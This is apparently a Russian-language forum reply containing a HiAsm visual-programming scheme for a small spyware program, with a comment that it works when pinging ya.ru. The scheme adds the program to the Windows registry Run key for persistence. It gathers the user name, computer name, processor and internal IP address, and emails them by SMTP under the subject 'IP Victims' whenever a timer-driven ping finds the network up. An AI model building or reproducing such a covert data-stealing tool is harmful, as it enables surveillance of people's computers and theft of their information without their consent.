------------ Дoбавленo в 12.18:
может так -
Add(Host,9847929,560,161)
{
}
Add(SMTP,12491947,623,231)
{
Subject="IP Victims"
Port=587
link(Body,777583:FString,[(657,219)(677,219)(677,277)(531,277)])
}
Add(Hub,1652025,175,224)
{
link(onEvent1,14640313:doPart,[(195,230)(195,195)])
link(onEvent2,10860491:doWork2,[])
}
Add(ComputerInfo,10247823,525,161)
{
}
Add(FormatStr,777583,525,231)
{
DataCount=4
Mask="Имя пользователя: %1
Имя копьютера: %2
Процессор: %3
IP внутренний: %4"
Point(FString)
link(onFString,328460:doData,[])
link(Str1,10247823:UserName,[])
link(Str2,10247823:CompName,[])
link(Str3,10247823:CPU,[])
link(Str4,9847929:LoacalIP,[(552,209)(573,209)])
}
Add(MainForm,1355650,119,210)
{
Visible=1
link(onCreate,1652025:doEvent1,[])
}
Add(Registry,6455422,280,189)
{
HKey=1
Key="SOFTWAREMicrosoftWindowsCurrentVersionRun"
link(Data,901719:Var2,[])
}
Add(Application,2604640,280,126)
{
}
Add(FilePart,14640313,210,189)
{
link(onName,6455422:doWrite,[])
link(FileName,901719:Var1,[(216,170)])
}
Add(GetDataEx,901719,273,161)
{
link(Data,2604640:AppFileName,[])
}
Add(Ping,13041931,301,231)
{
link(onFind,2184663:doWork1,[])
link(onFailed,2184663:doWork2,[])
}
Add(Timer,12135325,231,252)
{
Interval=20000
link(onTimer,10860491:doWork3,[(277,258)])
}
Add(ChangeMon,16046988,420,231)
{
link(onData,11480827:doEvent,[])
}
Add(ChanelToIndex,2184663,364,231)
{
link(onIndex,16046988:doData,[])
}
Add(IndexToChanel,11480827,476,231)
{
link(onEvent1,777583:doString,[])
}
Add(DoData,328460,574,231)
{
link(onEventData,12491947:doSend,[])
}
Add(HubEx,10860491,273,224)
{
link(onEvent,13041931:doPing,[])
}
для проверки в пинг введи имя ya.ru - у меня работает (ессно до formatstr)..